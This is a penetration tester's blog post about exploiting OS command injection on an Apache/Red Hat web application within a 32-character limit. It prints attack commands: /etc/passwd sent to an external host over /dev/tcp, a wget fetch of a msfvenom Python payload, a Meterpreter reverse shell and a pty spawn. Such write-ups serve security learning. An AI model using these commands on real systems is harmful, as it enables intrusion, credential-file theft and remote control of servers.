OS Command Injection is fun. I recently found this vulnerability on a web application I was testing (thanks to Burp Suite scanner). I was excited because I knew shellz were in my future, but it was not as easy as I expected. Here was my journey and some things I learned.
First, I knew the web server was Apache running on Red Hat Linux. I could inject the following ping command and receive a hit to my external server at 18.104.22.168 (let’s pretend). The semicolon at the beginning is what separated the injected command from the original command expected by the application.
;ping -c 3 22.214.171.124
On my external server I could use the tcpdump command to see the ping requests coming in.
tcpdump -nni eth0 icmp
Three Ping Requests Received on External Server
So with that, I was off to try all the things you do in this situation, such as is nicely explained here, but to no avail . . .
Then I realized that on Red Hat the netcat executable is usually named ncat or netcat, so I modified the commands but that failed, too.
I tried the following and that failed too . . .
cat /etc/passwd > /dev/tcp/126.96.36.199/22
I was confused. I definitely had command injection but nothing was working. I finally figured out that the command length was limited to 32 characters, likely because it was being written to a database first. I discovered this by sending the ping command over and over again with varying numbers of spaces until it stopped working.
ping -c 3 188.8.131.52 ping -c 3 184.108.40.206 ping -c 3 220.127.116.11 ping -c 3 18.104.22.168
. . . and so on
Then on a whim I entered the following command and to my shock, the contents of the /etc/passwd file were returned in the server response.
I was shocked because no other commands including the ping command had returned the command output in the server response. Then I got really confused. I knew the echo command worked because I could receive the output from an echo command on my server as shown below. (Remember I was limited to 32 characters for the command).
echo h > /dev/tcp/22.214.171.124/80
The only file I could cat was /etc/passwd. I tried to write stuff to files using echo but it appeared I didn’t have write access to the current directory I was in. So I wrote to files in the tmp directory but I couldn’t read them with the 32-character command limit to be sure it was working.
Why could I cat the /etc/passwd file and get the output in the server response but no other file?
Finally, I paid closer attention to the server response containing the contents of /etc/passwd and realized that it was found in the response header and not body. (There were a lot of users on the list and it scrolled off the screen) The content of the /etc/passwd file, as shown in the example below, happens to be similar to a response header.
jsmith:x:1001:1000:Joe Smith,Room 1007,(234)555-8910,(234)555-0044,email:/home/jsmith:/bin/sh
In this case, the critical component is that there is a word followed by a colon, which happens to be in an acceptable format for inclusion as a response header. To test this theory, I injected the following.
echo some: h
I received “some: h” in the web server response header. Finally, it was all making sense, now I was making progress. The following commands let me discover that no versions of netcat were installed, but Python was. Lovely, Python! The “-n” option tells echo not to output the trailing newline character. This was important so that the output of the next command would be on the same line and maintain the proper format for inclusion as a response header.
echo -n s:;which nc echo -n s:;which ncat echo -n s:;which netcat echo -n s:;which python
I used msfvenom to create the Python code to connect back to my Metasploit listener as described here. I named the Python script “z” and put it in my home directory. I tested out the Python code on my own Linux box but I kept getting “TypeError: expected string without null bytes”
I realized that I had the stage encoder enabled on the Metasploit handler. When I disabled the stage encoder with “set EnableStageEncoding false” it worked.
Next, I needed to get this python code written to a file on the web server. For this I hosted the file on my web server and used wget to write the file to disk with this injected command.
wget "myserver.net" -O ~/z
And then execute it with this.
This successfully established a Meterpreter session for me, but I was limited in some respects due to the connection not being a true “tty”. I remember such a challenge at a recent “capture the flag” event and a little Googling turned up the solution again.
python -c 'import pty; pty.spawn("/bin/sh")'
And there we have it. My round-about methods for getting shell with OS command injection. In hindsight, it could have been so easy and quick, but hey, that’s hacking.